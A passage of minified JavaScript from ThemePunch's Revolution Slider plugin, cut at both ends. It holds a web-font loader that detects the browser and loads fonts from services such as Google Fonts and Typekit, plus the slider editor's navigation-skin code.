t=null,i=null,a=null,r=null;return(e=y.exec(e))&&(null!==e[1]&&e[1]&&(t=parseInt(e[1],10)),null!==e[2]&&e[2]&&(i=parseInt(e[2],10)),null!==e[3]&&e[3]&&(a=parseInt(e[3],10)),null!==e[4]&&e[4]&&(r=/^[0-9]+$/.test(e[4])?parseInt(e[4],10):e[4])),new V(t,i,a,r)}function f(e,t,i,a,r,s,o,n){this.N=e,this.k=n}function h(e){this.a=e}V.prototype.compare=function(e){return this.c>e.c||this.c===e.c&&this.g>e.g||this.c===e.c&&this.g===e.g&&this.D>e.D?1:this.c<e.c||this.c===e.c&&this.g<e.g||this.c===e.c&&this.g===e.g&&this.D<e.D?-1:0},V.prototype.toString=function(){return[this.c,this.g||"",this.D||"",this.e||""].join("")},f.prototype.getName=function(){return this.N};var g=new f("Unknown",0,0,0,0,0,0,new u(!1,!1));function v(e){var t=w(e.a,/(iPod|iPad|iPhone|Android|Windows Phone|BB\d{2}|BlackBerry)/,1);return""!=t?(/BB\d{2}/.test(t)&&(t="BlackBerry"),t):""!=(e=w(e.a,/(Linux|Mac_PowerPC|Macintosh|Windows|CrOS|PlayStation|CrKey)/,1))?("Mac_PowerPC"==e?e="Macintosh":"PlayStation"==e&&(e="Linux"),e):"Unknown"}function _(e){if((t=w(e.a,/(OS X|Windows NT|Android) ([^;)]+)/,2))||(t=w(e.a,/Windows Phone( OS)? ([^;)]+)/,2))||(t=w(e.a,/(iPhone )?OS ([\d_]+)/,2)))return t;if(t=w(e.a,/(?:Linux|CrOS|CrKey) ([^;)]+)/,1))for(var t=t.split(/\s/),i=0;i<t.length;i+=1)if(/^[\d\._]+$/.test(t[i]))return t[i];return(e=w(e.a,/(BB\d{2}|BlackBerry).*?Version\/([^\s]*)/,2))?e:"Unknown"}function L(e){var t=v(e),i=m(_(e)),a=m(w(e.a,/AppleWeb(?:K|k)it\/([\d\.\+]+)/,1)),r="Unknown",s=new V;s="Unknown";return/OPR\/[\d.]+/.test(e.a)?r="Opera":-1!=e.a.indexOf("Chrome")||-1!=e.a.indexOf("CrMo")||-1!=e.a.indexOf("CriOS")?r="Chrome":/Silk\/\d/.test(e.a)?r="Silk":"BlackBerry"==t||"Android"==t?r="BuiltinBrowser":-1!=e.a.indexOf("PhantomJS")?r="PhantomJS":-1!=e.a.indexOf("Safari")?r="Safari":-1!=e.a.indexOf("AdobeAIR")?r="AdobeAIR":-1!=e.a.indexOf("PlayStation")&&(r="BuiltinBrowser"),"BuiltinBrowser"==r?s="Unknown":"Silk"==r?s=w(e.a,/Silk\/([\d\._]+)/,1):"Chrome"==r?s=w(e.a,/(Chrome|CrMo|CriOS)\/([\d\.]+)/,2):-1!=e.a.indexOf("Version/")?s=w(e.a,/Version\/([\d\.\w]+)/,1):"AdobeAIR"==r?s=w(e.a,/AdobeAIR\/([\d\.]+)/,1):"Opera"==r?s=w(e.a,/OPR\/([\d.]+)/,1):"PhantomJS"==r&&(s=w(e.a,/PhantomJS\/([\d.]+)/,1)),s=m(s),new f(r,0,0,0,0,0,0,new u("AdobeAIR"==r?2<s.c||2==s.c&&5<=s.g:"BlackBerry"==t?10<=i.c:"Android"==t?2<i.c||2==i.c&&1<i.g:526<=a.c||525<=a.c&&13<=a.g,536>a.c||536==a.c&&11>a.g))}function w(e,t,i){return(e=e.match(t))&&e[i]?e[i]:""}function b(e){this.ma=e||"-"}function F(e,t){this.N=e,this.Z=4,this.O="n";var i=(t||"n4").match(/^([nio])([1-9])$/i);i&&(this.O=i[1],this.Z=parseInt(i[2],10))}function I(e){return e.O+e.Z}function D(e){var t=4,i="n",a=null;return e&&((a=e.match(/(normal|oblique|italic)/i))&&a[1]&&(i=a[1].substr(0,1).toLowerCase()),(a=e.match(/([1-9]00|normal|bold)/i))&&a[1]&&(/bold/i.test(a[1])?t=7:/[1-9]00/.test(a[1])&&(t=parseInt(a[1].substr(0,1),10)))),i+t}function x(e,t){this.d=e,this.q=e.w.document.documentElement,this.Q=t,this.j="wf",this.h=new b("-"),this.ha=!1!==t.events,this.F=!1!==t.classes}function C(e){if(e.F){var t=S(e.q,e.h.e(e.j,"active")),i=[],a=[e.h.e(e.j,"loading")];t||i.push(e.h.e(e.j,"inactive")),d(e.q,i,a)}k(e,"inactive")}function k(e,t,i){e.ha&&e.Q[t]&&(i?e.Q[t](i.getName(),I(i)):e.Q[t]())}function O(){this.C={}}function T(e,t){this.d=e,this.I=t,this.o=this.d.createElement("span",{"aria-hidden":"true"},this.I)}function j(e,t){var i,a=e.o;i=[];for(var r=t.N.split(/,\s*/),s=0;s<r.length;s++){var o=r[s].replace(/['"]/g,"");-1==o.indexOf(" ")?i.push(o):i.push("'"+o+"'")}i=i.join(","),r="normal","o"===t.O?r="oblique":"i"===t.O&&(r="italic"),a.style.cssText="display:block;position:absolute;top:-9999px;left:-9999px;font-size:300px;width:auto;height:auto;line-height:normal;margin:0;padding:0;font-variant:normal;white-space:nowrap;font-family:"+i+";font-style:"+r+";font-weight:"+t.Z+"00;"}function E(e){l(e.d,"body",e.o)}function M(e,t,i,a,r,s,o,n){this.$=e,this.ka=t,this.d=i,this.m=a,this.k=r,this.I=n||"BESbswy",this.v={},this.X=s||3e3,this.ca=o||null,this.H=this.u=this.t=null,this.t=new T(this.d,this.I),this.u=new T(this.d,this.I),this.H=new T(this.d,this.I),j(this.t,new F("serif",I(this.m))),j(this.u,new F("sans-serif",I(this.m))),j(this.H,new F("monospace",I(this.m))),E(this.t),E(this.u),E(this.H),this.v.serif=this.t.o.offsetWidth,this.v["sans-serif"]=this.u.o.offsetWidth,this.v.monospace=this.H.o.offsetWidth}h.prototype.parse=function(){var e;if(-1!=this.a.indexOf("MSIE")||-1!=this.a.indexOf("Trident/")){e=v(this);var t=m(_(this)),i=null,a=w(this.a,/Trident\/([\d\w\.]+)/,1);i=-1!=this.a.indexOf("MSIE")?m(w(this.a,/MSIE ([\d\w\.]+)/,1)):m(w(this.a,/rv:([\d\w\.]+)/,1));""!=a&&m(a),e=new f("MSIE",0,0,0,0,0,0,new u("Windows"==e&&6<=i.c||"Windows Phone"==e&&8<=t.c,!1))}else if(-1!=this.a.indexOf("Opera"))e:if(e=m(w(this.a,/Presto\/([\d\w\.]+)/,1)),m(_(this)),null!==e.c||m(w(this.a,/rv:([^\)]+)/,1)),-1!=this.a.indexOf("Opera Mini/"))e=m(w(this.a,/Opera Mini\/([\d\.]+)/,1)),e=new f("OperaMini",0,0,0,v(this),0,0,new u(!1,!1));else{if(-1!=this.a.indexOf("Version/")&&null!==(e=m(w(this.a,/Version\/([\d\.]+)/,1))).c){e=new f("Opera",0,0,0,v(this),0,0,new u(10<=e.c,!1));break e}e=null!==(e=m(w(this.a,/Opera[\/ ]([\d\.]+)/,1))).c?new f("Opera",0,0,0,v(this),0,0,new u(10<=e.c,!1)):new f("Opera",0,0,0,v(this),0,0,new u(!1,!1))}else/OPR\/[\d.]+/.test(this.a)?e=L(this):/AppleWeb(K|k)it/.test(this.a)?e=L(this):-1!=this.a.indexOf("Gecko")?(e="Unknown",t=new V,m(_(this)),t=!1,-1!=this.a.indexOf("Firefox")?(e="Firefox",t=3<=(t=m(w(this.a,/Firefox\/([\d\w\.]+)/,1))).c&&5<=t.g):-1!=this.a.indexOf("Mozilla")&&(e="Mozilla"),i=m(w(this.a,/rv:([^\)]+)/,1)),t||(t=1<i.c||1==i.c&&9<i.g||1==i.c&&9==i.g&&2<=i.D),e=new f(e,0,0,0,v(this),0,0,new u(t,!1))):e=g;return e},b.prototype.e=function(e){for(var t=[],i=0;i<arguments.length;i++)t.push(arguments[i].replace(/[\W_]+/g,"").toLowerCase());return t.join(this.ma)},F.prototype.getName=function(){return this.N},T.prototype.remove=function(){var e=this.o;e.parentNode&&e.parentNode.removeChild(e)};var P={sa:"serif",ra:"sans-serif",qa:"monospace"};function z(e,t,i){for(var a in P)if(P.hasOwnProperty(a)&&t===e.v[P[a]]&&i===e.v[P[a]])return!0;return!1}function A(e){var t=e.t.o.offsetWidth,i=e.u.o.offsetWidth;t===e.v.serif&&i===e.v["sans-serif"]||e.k.ga&&z(e,t,i)?o()-e.oa>=e.X?e.k.ga&&z(e,t,i)&&(null===e.ca||e.ca.hasOwnProperty(e.m.getName()))?H(e,e.$):H(e,e.ka):function(e){setTimeout(s(function(){A(this)},e),50)}(e):H(e,e.$)}function H(e,t){e.t.remove(),e.u.remove(),e.H.remove(),t(e.m)}function B(e,t,i,a){this.d=t,this.A=i,this.S=0,this.ea=this.ba=!1,this.X=a,this.k=e.k}function Q(e,t,i,a,r){if(i=i||{},0===t.length&&r)C(e.A);else for(e.S+=t.length,r&&(e.ba=r),r=0;r<t.length;r++){var o=t[r],n=i[o.getName()],l=e.A,S=o;l.F&&d(l.q,[l.h.e(l.j,S.getName(),I(S).toString(),"loading")]),k(l,"fontloading",S),l=null,(l=new M(s(e.ia,e),s(e.ja,e),e.d,o,e.k,e.X,a,n)).start()}}function G(e){0==--e.S&&e.ba&&(e.ea?((e=e.A).F&&d(e.q,[e.h.e(e.j,"active")],[e.h.e(e.j,"loading"),e.h.e(e.j,"inactive")]),k(e,"active")):C(e.A))}function N(e){this.K=e,this.B=new O,this.pa=new h(e.navigator.userAgent),this.a=this.pa.parse(),this.U=this.V=0,this.R=this.T=!0}function W(e,t,i){this.P=e||t+X,this.s=[],this.W=[],this.fa=i||""}M.prototype.start=function(){this.oa=o(),j(this.t,new F(this.m.getName()+",serif",I(this.m))),j(this.u,new F(this.m.getName()+",sans-serif",I(this.m))),A(this)},B.prototype.ia=function(e){var t=this.A;t.F&&d(t.q,[t.h.e(t.j,e.getName(),I(e).toString(),"active")],[t.h.e(t.j,e.getName(),I(e).toString(),"loading"),t.h.e(t.j,e.getName(),I(e).toString(),"inactive")]),k(t,"fontactive",e),this.ea=!0,G(this)},B.prototype.ja=function(e){var t=this.A;if(t.F){var i=S(t.q,t.h.e(t.j,e.getName(),I(e).toString(),"active")),a=[],r=[t.h.e(t.j,e.getName(),I(e).toString(),"loading")];i||a.push(t.h.e(t.j,e.getName(),I(e).toString(),"inactive")),d(t.q,a,r)}k(t,"fontinactive",e),G(this)},N.prototype.load=function(e){this.d=new n(this.K,e.context||this.K),this.T=!1!==e.events,this.R=!1!==e.classes;var t=new x(this.d,e),i=[],a=e.timeout;t.F&&d(t.q,[t.h.e(t.j,"loading")]),k(t,"loading");i=this.B;var r,o=this.d,l=[];for(r in e)if(e.hasOwnProperty(r)){var S=i.C[r];S&&l.push(S(e[r],o))}for(i=l,this.U=this.V=i.length,e=new B(this.a,this.d,t,a),a=0,r=i.length;a<r;a++)(o=i[a]).L(this.a,s(this.la,this,o,t,e))},N.prototype.la=function(e,t,i,a){var r=this;a?e.load(function(e,t,a){!function(e,t,i,a,r){var s=0==--e.V;(e.R||e.T)&&setTimeout(function(){Q(t,i,a||null,r||null,s)},0)}(r,i,e,t,a)}):(e=0==--this.V,this.U--,e&&0==this.U?C(t):(this.R||this.T)&&Q(i,[],{},null,e))};var X="//fonts.googleapis.com/css";function Y(e){this.s=e,this.da=[],this.M={}}W.prototype.e=function(){if(0==this.s.length)throw Error("No fonts to load!");if(-1!=this.P.indexOf("kit="))return this.P;for(var e=this.s.length,t=[],i=0;i<e;i++)t.push(this.s[i].replace(/ /g,"+"));return e=this.P+"?family="+t.join("%7C"),0<this.W.length&&(e+="&subset="+this.W.join(",")),0<this.fa.length&&(e+="&text="+encodeURIComponent(this.fa)),e};var U={latin:"BESbswy",cyrillic:"&#1081;&#1103;&#1046;",greek:"&#945;&#946;&#931;",khmer:"&#x1780;&#x1781;&#x1782;",Hanuman:"&#x1780;&#x1781;&#x1782;"},q={thin:"1",extralight:"2","extra-light":"2",ultralight:"2","ultra-light":"2",light:"3",regular:"4",book:"4",medium:"5","semi-bold":"6",semibold:"6","demi-bold":"6",demibold:"6",bold:"7","extra-bold":"8",extrabold:"8","ultra-bold":"8",ultrabold:"8",black:"9",heavy:"9",l:"3",r:"4",b:"7"},Z={i:"i",italic:"i",n:"n",normal:"n"},K=/^(thin|(?:(?:extra|ultra)-?)?light|regular|book|medium|(?:(?:semi|demi|extra|ultra)-?)?bold|black|heavy|l|r|b|[1-9]00)?(n|i|normal|italic)?$/;function J(e,t){this.a=new h(navigator.userAgent).parse(),this.d=e,this.f=t}Y.prototype.parse=function(){for(var e=this.s.length,t=0;t<e;t++){var i=this.s[t].split(":"),a=i[0].replace(/\+/g," "),r=["n4"];if(2<=i.length){var s;if(s=[],o=i[1])for(var o,n=(o=o.split(",")).length,l=0;l<n;l++){var d;if((d=o[l]).match(/^[\w-]+$/)){var S=void 0;if(null==(d=K.exec(d.toLowerCase())))S="";else{if(S=void 0,null==(S=d[1])||""==S)S="4";else{var c=q[S];S=c||(isNaN(S)?"4":S.substr(0,1))}S=[null==(d=d[2])||""==d?"n":Z[d],S].join("")}d=S}else d="";d&&s.push(d)}0<s.length&&(r=s),3==i.length&&(s=[],0<(i=(i=i[2])?i.split(","):s).length&&(i=U[i[0]])&&(this.M[a]=i))}for(this.M[a]||(i=U[a])&&(this.M[a]=i),i=0;i<r.length;i+=1)this.da.push(new F(a,r[i]))}};var $={Arimo:!0,Cousine:!0,Tinos:!0};function ee(e,t){this.d=e,this.f=t,this.p=[]}function te(e,t){this.d=e,this.f=t,this.p=[]}function ie(e,t){this.d=e,this.f=t,this.p=[]}function ae(e,t){this.d=e,this.f=t}J.prototype.L=function(e,t){t(e.k.Y)},J.prototype.load=function(e){var t=this.d;"MSIE"==this.a.getName()&&1!=this.f.blocking?function(e,t){!function i(){e.G.body?t():setTimeout(i,0)}()}(t,s(this.aa,this,e)):this.aa(e)},J.prototype.aa=function(e){for(var t=this.d,i=new W(this.f.api,c(t),this.f.text),a=this.f.families,r=a.length,s=0;s<r;s++){var o=a[s].split(":");3==o.length&&i.W.push(o.pop());var n="";2==o.length&&""!=o[1]&&(n=":"),i.s.push(o.join(n))}(a=new Y(a)).parse(),p(t,i.e()),e(a.da,a.M,$)},ee.prototype.J=function(e){var t=this.d;return c(this.d)+(this.f.api||"//f.fontdeck.com/s/css/js/")+(t.w.location.hostname||t.K.location.hostname)+"/"+e+".js"},ee.prototype.L=function(e,t){var i=this.f.id,a=this.d.w,r=this;i?(a.__tpwebfontfontdeckmodule__||(a.__tpwebfontfontdeckmodule__={}),a.__tpwebfontfontdeckmodule__[i]=function(e,i){for(var a=0,s=i.fonts.length;a<s;++a){var o=i.fonts[a];r.p.push(new F(o.name,D("font-weight:"+o.weight+";font-style:"+o.style)))}t(e)},R(this.d,this.J(i),function(e){e&&t(!1)})):t(!1)},ee.prototype.load=function(e){e(this.p)},te.prototype.J=function(e){var t=c(this.d);return(this.f.api||t+"//use.typekit.net")+"/"+e+".js"},te.prototype.L=function(e,t){var i=this.f.id,a=this.d.w,r=this;i?R(this.d,this.J(i),function(e){if(e)t(!1);else{if(a.Typekit&&a.Typekit.config&&a.Typekit.config.fn){e=a.Typekit.config.fn;for(var i=0;i<e.length;i+=2)for(var s=e[i],o=e[i+1],n=0;n<o.length;n++)r.p.push(new F(s,o[n]));try{a.Typekit.load({events:!1,classes:!1})}catch(e){}}t(!0)}},2e3):t(!1)},te.prototype.load=function(e){e(this.p)},ie.prototype.L=function(e,t){var i=this,a=i.f.projectId,r=i.f.version;if(a){var s=i.d.w;R(this.d,i.J(a,r),function(r){if(r)t(!1);else{if(s["__mti_fntLst"+a]&&(r=s["__mti_fntLst"+a]()))for(var o=0;o<r.length;o++)i.p.push(new F(r[o].fontfamily));t(e.k.Y)}}).id="__MonotypeAPIScript__"+a}else t(!1)},ie.prototype.J=function(e,t){return c(this.d)+"//"+(this.f.api||"fast.fonts.net/jsapi").replace(/^.*http(s?):(\/\/)?/,"")+"/"+e+".js"+(t?"?v="+t:"")},ie.prototype.load=function(e){e(this.p)},ae.prototype.load=function(e){var t,i,a=this.f.urls||[],r=this.f.families||[],s=this.f.testStrings||{};for(t=0,i=a.length;t<i;t++)p(this.d,a[t]);for(a=[],t=0,i=r.length;t<i;t++){var o=r[t].split(":");if(o[1])for(var n=o[1].split(","),l=0;l<n.length;l+=1)a.push(new F(o[0],n[l]));else a.push(new F(o[0]))}e(a,s)},ae.prototype.L=function(e,t){return t(e.k.Y)};var re=new N(this);re.B.C.custom=function(e,t){return new ae(t,e)},re.B.C.fontdeck=function(e,t){return new ee(t,e)},re.B.C.monotype=function(e,t){return new ie(t,e)},re.B.C.typekit=function(e,t){return new te(t,e)},re.B.C.google=function(e,t){return new J(t,e)},this.tpWebFont||(this.tpWebFont={},this.tpWebFont.load=s(re.load,re),this.tpWebFontConfig&&re.load(this.tpWebFontConfig))}(this,document),
/*!
 * REVOLUTION 6.3.2 EDITOR NAVIGATION JS
 * @version: 2.0 (01.12.2020)
 * @author ThemePunch
*/
function(){var e,t,i,a,r=["arrows","thumbs","bullets","tabs"];function s(e,t){var i="",a="";for(var r in RVS.nav.currentSkinType=e,RVS.nav.currentEditorMode="markup",RVS.nav[e]){if(!RVS.nav[e].hasOwnProperty(r))continue;let t=RVS.nav[e][r];t.factory?i+='<div data-type="'+e+'" data-handle="'+r+'" class="rs_ne_nav_skin rs_ne_listelement"><span class="rs_ne_nskin_title">'+t.name+'</span><div class="rs_ne_nskin_tbar_basic"><i class="rs_ne_nskin_copy material-icons">content_copy</i></div></div>':a+='<div id="rs_ne_nav_skin_'+r+'" data-type="'+e+'" data-handle="'+r+'" class="rs_ne_nav_skin rs_ne_listelement"><span class="rs_ne_nskin_title">'+t.name+'</span><span class="rs_ne_nskin_message"></span><input class="rs_ne_nskin_title_input" value="'+t.name+'" type="text"/><div class="rs_ne_nskin_tbar_basic"><i class="rs_ne_nskin_edit material-icons">edit</i><i class="rs_ne_nskin_copy material-icons">content_copy</i><i class="rs_ne_nskin_delete material-icons">delete</i></div><div class="rs_ne_nskin_tbar_yesno"><i class="rs_ne_nskin_yes material-icons">done</i><i class="rs_ne_nskin_no material-icons">close</i></div></div>'}document.getElementById("rs_ne_factory_list").innerHTML=i,document.getElementById("rs_ne_custom_list").innerHTML=a,jQuery(".rs_ne_list_wrapper").scrollTop(0).RSScroll({suppressScrollX:!0})}function o(){void 0!==RVS.nav.currentSkin&&(RVS.nav.currentSkin.changed=!0),jQuery("#save_naveditor").show(),RVS.nav.toSave=!0}function n(){document.getElementById("rs_ne_nav_width").value=RVS.nav.currentSkin.dim.width,document.getElementById("rs_ne_nav_height").value=RVS.nav.currentSkin.dim.height,document.getElementById("rs_ne_nav_classname").value=RVS.nav.currentSkin.handle;var e="";for(var t in RVS.nav.currentSkin.placeholders){if(!RVS.nav.currentSkin.placeholders.hasOwnProperty(t))continue;e+='<div data-placeholder="'+t+'" class="rs_ne_meta_value_btn rs_ne_listelement" ><span data-insert="##'+t+'##" class="rs_ne_nskin_title">'+RVS.nav.currentSkin.placeholders[t].title+'</span><span class="rs_ne_nskin_message"></span>',e+='<div class="rs_ne_nskin_tbar_basic"><i data-insert="##'+t+'##" class="rs_ne_nskin_meta_add material-icons">add</i><i data-placeholder="'+t+'" class="rs_ne_nskin_meta_config material-icons">settings</i><i class="rs_ne_nskin_delete material-icons">delete</i></div><div class="rs_ne_nskin_tbar_yesno"><i class="rs_ne_nskin_yes material-icons">done</i><i class="rs_ne_nskin_no material-icons">close</i></div>',e+="</div>"}document.getElementById("rs_ne_meta_values_inner").innerHTML=e}function l(){var e=jQuery("#rs_ne_def_meta_handle")[0].value;0===e.length||0===jQuery("#rs_ne_def_meta_title")[0].value.length||RVS.nav.currentPlaceholder!==e&&void 0!==RVS.nav.currentSkin.placeholders[e]?jQuery("#update_nav_meta_value").addClass("disabled"):jQuery("#update_nav_meta_value").removeClass("disabled"),RVS.nav.currentPlaceholder!==e&&void 0!==RVS.nav.currentSkin.placeholders[e]?jQuery("#rs_ne_def_meta_handle").addClass("badvalue"):jQuery("#rs_ne_def_meta_handle").removeClass("badvalue")}function d(){e.appendTo(jQuery("#rev_slider_ul_inner")),t.appendTo(jQuery("#rev_slider_ul_inner")),i.appendTo(jQuery("#rev_slider_ul_inner")),a.tabs.self.appendTo(jQuery("#rev_slider_ul_inner")),a.thumbs.self.appendTo(jQuery("#rev_slider_ul_inner"))}function S(e){jQuery(".rs_ne_nav_skin.selected").removeClass("selected"),e.className+=" selected",RVS.nav.currentSkinType=e.dataset.type,RVS.nav.currentSkinHandle=e.dataset.handle,RVS.nav.currentSkin=RVS.nav[e.dataset.type][e.dataset.handle],n(),jQuery("#rs_ne_helper_wrap, #rs_ne_settings, #rs_ne_markup_css_button_wrap").show(),jQuery("#rs_ne_cssmeta_config").hide(),jQuery("#rs_ne_cssmeta_values").show(),jQuery("#rs_ne_nav_classname").removeClass("badvalue"),RVS.nav.editor.setValue(RVS.nav.currentSkin[RVS.nav.currentEditorMode]),RVS.nav.infactorymode=RVS.nav.currentSkin.factory,RVS.nav.infactorymode?jQuery("#rs_ne_settings").addClass("infactorymode"):jQuery("#rs_ne_settings").removeClass("infactorymode"),RVS.nav.editor.setOption("readOnly",RVS.nav.currentSkin.factory),RVS.F.drawEditorNavigation(),RVS.F.pickMarkupCssMode(document.getElementById("rs_ne_mcss_thecsseditor"))}function c(e){var t=document.getElementById("sr_"+e.type+"_style_preset");if(null!==t&&null!=t){t.options.length=0;var i=document.createDocumentFragment();if(i.appendChild(RVS.F.CO("custom","Custom")),i.appendChild(RVS.F.CO("default","Default")),null!=e.navobj&&null!==e.navobj.settings){var a;if(void 0!==e.navobj)for(var r in e.navobj.presets)e.navobj.presets.hasOwnProperty(r)&&(a=RVS.F.CO(r,e.navobj.presets[r].name),i.appendChild(a));t.appendChild(i),!0===e.presetChange&&(RVS.SLIDER.settings.nav[e.type].preset="default"),t.value=RVS.SLIDER.settings.nav[e.type].preset,jQuery(t).ddTP({tags:!0}).ddTP("change"),RVS.F.updatePresetInputs(e),RVS.F.updateSlideBasedNavigationStyle()}else t.appendChild(i)}}function p(i){var a=RVS.SLIDER.settings.nav[i.type].presets,r=RVS.SLIDER[RVS.S.slideId].slide.nav[i.type].presets,s=void 0===i.skin?RVS.nav[i.type][i.handle]:i.skin,o=s.css,n=o.split("##"),l=[],d=0,S="";if(null==o)return"";for(var c=0;c<n.length;c++)1==d?(S=n[c],d=0,l.push(S)):d++;return null==RVS.SLIDER[RVS.S.slideId].slide?"":(jQuery.each(l,function(e,t){var n,l;l=void 0!==s.placeholders[t]&&void 0!==s.placeholders[t].data?s.placeholders[t].data:"",n=t===i.attribute?i.color:!0===i.default?void 0!==s.placeholders[t]?s.placeholders[t].data:"":void 0!==r&&r[t+"-def"]?r[t]:a[t+"-def"]?a[t]:l,o=o.replace("##"+t+"##",n)}),e.css({width:"",height:""}),t.css({width:"",height:""}),"<style id='"+i.type+"_stylemanipualtion'>"+o+"</style>")}function R(e){if(void 0===RVS.SLIDER[e.id])return"";var t=RVS.SLIDER[e.id].slide.thumb.customThumbSrc;return void 0===t||t.length<3||"/"===t[t.length-1]?RVS.F.getSlideBGDrawObj({id:e.id}):{"background-size":"cover",backgroundPosition:"center center",backgroundRepeat:"no-repeat",backgroundImage:"url("+t+")"}}function u(e,t){if(void 0!==t){var i=0,a=0,r="slider"===t.align?{x:parseInt(t.offsetX,0)+("left"===t.horizontal?i:0),y:parseInt(t.offsetY,0)+("top"===t.vertical?a:0)}:{x:parseInt(t.offsetX,0)+("right"===t.horizontal?RVS.S.layer_wrap_offset.xr:RVS.S.layer_wrap_offset.x),y:parseInt(t.offsetY,0)+("top"===t.vertical?RVS.S.layer_wrap_offset.y:RVS.S.layer_wrap_offset.y-a)},s={marginLeft:"0px",x:"0%",left:r.x+"px",right:"auto",marginTop:"0px",y:"0%",top:r.y+"px",bottom:"auto"};switch(RVS.S.dim_offsets=RVS.F.sliderDimensionOffsets(),t.horizontal){case"right":s.left="auto",s.right=parseInt(r.x,0)+"px";break;case"center":s.marginLeft=i/2+parseInt(t.offsetX,0)+"px",s.x="-50%",s.left="50%"}switch(t.vertical){case"bottom":s.top="auto",s.bottom=r.y+"px";break;case"center":var o=RVS.S.dim_offsets.carouseltop/2+RVS.S.dim_offsets.navtop/2-(RVS.S.dim_offsets.carouselbottom/2+RVS.S.dim_offsets.navbottom/2);s.marginTop=a/2+(parseInt(t.offsetY,0)+parseInt(o,0))+"px",s.y="-50%",s.top="50%"}if(!0===t.spanWrapper)switch(t.direction){case"horizontal":s.marginLeft="0px",s.x="0%",s.left="0%";break;case"vertical":s.marginTop="0px",s.y="0%",s.top="0px"}tpGS.gsap.set(e,s)}}function V(){RVS.DOC.on("openNavigationEditor",RVS.F.openNavigationEditor),RVS.DOC.on("sliderNavUpdate",function(e,t){RVS.F.updateNavStyleSelection({init:!1,type:t,presetChange:!0})}),RVS.DOC.on("redrawNavigation",function(e,t){RVS.F.drawNavigation({type:t,init:!0})}),RVS.DOC.on("sliderNavPreset",function(e,t){RVS.F.setNavPresetValues({type:t})}),RVS.DOC.on("sliderNavPositionUpdate",function(e,t){RVS.F.sliderNavPositionUpdate({type:t})}),RVS.DOC.on("navinnerouter",function(e,t){!function(e){var t=RVS.SLIDER.settings.nav[e.type],i=jQuery("#sr_"+e.type+"hor"),a=jQuery("#sr_"+e.type+"ver"),r="sr_"+e.type+"direction";switch(jQuery("#sr_"+e.type+"_halignwrap").show(),jQuery("#sr_"+e.type+"_valignwrap").show(),t.innerOuter){case"inner":jQuery("#"+e.type+"pos_selector_center-center").show(),jQuery("#"+e.type+"pos_selector_left-center").show(),jQuery("#"+e.type+"pos_selector_right-center").show(),jQuery("#"+e.type+"pos_selector_center-top").show(),jQuery("#"+e.type+"pos_selector_center-bottom").show();break;case"outer-vertical":RVS.F.setS2Option({select:i,selectValue:"left"}),RVS.F.setS2Option({select:a,selectValue:"center"}),RVS.F.setRadio({radio:r,radioValue:"vertical",change:!0}),jQuery("#"+e.type+"pos_selector_center-top").hide(),jQuery("#"+e.type+"pos_selector_center-center").hide(),jQuery("#"+e.type+"pos_selector_center-bottom").hide(),jQuery("#"+e.type+"pos_selector_left-center").show(),jQuery("#"+e.type+"pos_selector_right-center").show(),jQuery("#sr_"+e.type+"_halignwrap").hide();break;case"outer-horizontal":RVS.F.setS2Option({select:i,selectValue:"center"}),RVS.F.setS2Option({select:a,selectValue:"bottom"}),RVS.F.setRadio({radio:r,radioValue:"horizontal",change:!0}),jQuery("#"+e.type+"pos_selector_left-center").hide(),jQuery("#"+e.type+"pos_selector_center-center").hide(),jQuery("#"+e.type+"pos_selector_right-center").hide(),jQuery("#"+e.type+"pos_selector_center-top").show(),jQuery("#"+e.type+"pos_selector_center-bottom").show(),jQuery("#sr_"+e.type+"_valignwrap").hide()}i.trigger("change"),a.trigger("change")}({type:t})}),RVS.DOC.on("saveNavPreset",function(e,t){RVS.F.saveDeleteNavPreset({mode:"save",type:t})}),RVS.DOC.on("deleteNavPreset",function(e,t){RVS.F.saveDeleteNavPreset({mode:"delete",type:t})}),RVS.DOC.on("mouseenter","#ddTP-sr_arrows_style-results li",function(){var e=this.id.split("-result-")[1].split("-")[0],t=this.id.split(e+"-")[1];RVS.F.drawNavigation({type:"arrows",style:t,init:!1,presetChange:!0,default:!0})}),RVS.DOC.on("mouseenter","#ddTP-sr_bullets_style-results li",function(){var e=this.id.split("-result-")[1].split("-")[0],t=this.id.split(e+"-")[1];RVS.F.drawNavigation({type:"bullets",style:t,init:!1,presetChange:!0,default:!0})}),RVS.DOC.on("mouseenter","#ddTP-sr_thumbs_style-results li",function(){var e=this.id.split("-result-")[1].split("-")[0],t=this.id.split(e+"-")[1];RVS.F.drawNavigation({type:"thumbs",style:t,init:!1,presetChange:!0,default:!0})}),RVS.DOC.on("mouseenter","#ddTP-sr_tabs_style-results li",function(){var e=this.id.split("-result-")[1].split("-")[0],t=this.id.split(e+"-")[1];RVS.F.drawNavigation({type:"tabs",style:t,init:!1,presetChange:!0,default:!0})}),RVS.DOC.on("ddTP:open",".sr_nav_style_tos",function(){window.shortcachenav=jQuery.extend(!0,{},RVS.SLIDER.settings.nav[this.dataset.evtparam]),window.shortnavindex=this.selectedIndex}),RVS.DOC.on("ddTP:close",".sr_nav_style_tos",function(e){window.shortnavindex===this.selectedIndex?(RVS.SLIDER.settings.nav[this.dataset.evtparam]=jQuery.extend(!0,{},window.shortcachenav),RVS.F.drawNavigation({type:this.dataset.evtparam,init:!1})):RVS.F.drawNavigation({type:this.dataset.evtparam,init:!1})}),RVS.DOC.on("click",".nav_preseticon_pick",function(){var e=this.parentNode.parentNode;jQuery("#"+e.dataset.insertinto).val(this.dataset.content).trigger("change")})}function y(e){return"false"===e||!1===e||"off"===e||void 0===e||0===e||-1===e?e=!1:"true"!==e&&!0!==e&&"on"!==e||(e=!0),e}RVS.F.initNavigation=function(){e=jQuery("#tp-leftarrow"),t=jQuery("#tp-rightarrow"),i=jQuery("#tp-bullets"),a={tabs:{self:jQuery("#tp-tabs"),mask:jQuery("#tp-tabs-mask"),inner:jQuery("#tp-tabs-inner-wrapper"),single:"tp-tab"},thumbs:{self:jQuery("#tp-thumbs"),mask:jQuery("#tp-thumbs-mask"),inner:jQuery("#tp-thumbs-inner-wrapper"),single:"tp-thumb"}},RVS.F.buildNavigationLists(),V()},RVS.F.buildNavigationLists=function(e){for(var t in r)if(r.hasOwnProperty(t)){var i="";for(var a in RVS.nav[r[t]])RVS.nav[r[t]].hasOwnProperty(a)&&(i+='<option value="'+a+'">'+RVS.nav[r[t]][a].name+"</option>");jQuery("#sr_"+r[t]+"_style")[0].innerHTML=i,e&&jQuery("#sr_"+r[t]+"_style").ddTP({placeholder:"Enter or 